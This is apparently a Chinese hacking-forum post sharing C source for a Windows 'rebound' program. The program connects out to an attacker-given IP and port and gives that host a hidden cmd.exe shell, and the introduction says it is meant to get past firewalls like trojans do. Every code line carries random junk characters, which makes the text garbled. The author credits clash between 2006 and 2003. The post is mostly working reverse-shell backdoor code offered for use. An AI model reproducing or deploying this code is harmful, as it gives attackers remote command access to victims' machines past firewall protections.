这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q"d^_z]K
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/* ============================== |SSSH
Rebound port in Windows NT 4k1xy##
By wind,2006/7 J!(<y(l
===============================*/ *:7rdzn
#include V2EUW!gn
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#include z&\a:fJ&
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#pragma comment(lib,"wsock32.lib") C.-,^+t;g
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void OutputShell(); ;JT-kw6l5K
SOCKET sClient; `$9x 1dx
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a58H9w"u)
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void main(int argc,char **argv) 9W5lSX#^;
{ ;H*T^0
WSADATA stWsaData; eo?bL$A[s
int nRet; ;igIZ$&
SOCKADDR_IN stSaiClient,stSaiServer; h(dvZ=
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if(argc != 3) ?l{nk5,?-Y
{ C{rcs'
printf("Useage:\n\rRebound DestIP DestPort\n"); ~ .g@hS8>
return; ;$|nrwhy
} \gaw6S>n}
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^^$s%{ep"
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U7F!Z(
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stSaiClient.sin_family = AF_INET; =UQ3HQD
stSaiClient.sin_port = htons(0); \}b%E'+_T
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vvMT}-!
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [9L:),&u
{ FW4<5~'
printf("Bind Socket Failed!\n"); q]-r@yF
return; b8UO,fY q
} #c!lS<z
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stSaiServer.sin_family = AF_INET; $6 f3F?y7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1GcE)e!>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); TD0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;)*eo_tQ
{ %tGO?JMkd
printf("Connect Error!"); ^yp{32
return; N4!O.POP
} Ti5-6%~&
OutputShell(); r,p%U!S<hV
} ZY+qA
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void OutputShell() <]2w n
{ I\ob7X'Xu!
char szBuff[1024]; 4D4j7
SECURITY_ATTRIBUTES stSecurityAttributes; Y:[u1~a
OSVERSIONINFO stOsversionInfo; >kVz49j
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &h/Xku&0
STARTUPINFO stStartupInfo; :"c*s4
char *szShell; TvbE2Q;/UL
PROCESS_INFORMATION stProcessInformation; DvvK^+-~
unsigned long lBytesRead; Z FL~;_r
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ON(kt3.h
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F JyT+
stSecurityAttributes.lpSecurityDescriptor = 0; m{HS0l'
stSecurityAttributes.bInheritHandle = TRUE; UCj ld
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e\L8oOk#r
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YOO+R{4(
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); R\[e!g*I
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .Q2V}D85
stStartupInfo.wShowWindow = SW_HIDE; rey!{3U
stStartupInfo.hStdInput = hReadPipe; =aW9L)8D
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %.|@]!C
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GetVersionEx(&stOsversionInfo); NgPk&niM
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switch(stOsversionInfo.dwPlatformId) R6->t #n,
{ zO6oT1I
case 1: \9T7A&
szShell = "command.com";
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break; 3Y$GsN4ln
default: #H~64/
szShell = "cmd.exe"; ~t~|"u"P
break; ;2QP7PrSY
} T>W,'H
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +ZP7{%
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send(sClient,szMsg,77,0); f/?P514h
while(1) (tW`=]z-<
{ BI@[\aRLQ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $I?"lky
if(lBytesRead) >A"(KSNL
{ pQB."[n
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %xLhZ\
send(sClient,szBuff,lBytesRead,0); xAm6BB
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} Ny/MJ#Lq
else $F.a><1rY
{
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lBytesRead=recv(sClient,szBuff,1024,0); dM@1l1h/
if(lBytesRead<=0) break; J{G?-+`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @H8EWTZ
} seJ^s@H5l
} {'H(g[k
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return; jPkn[W#
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}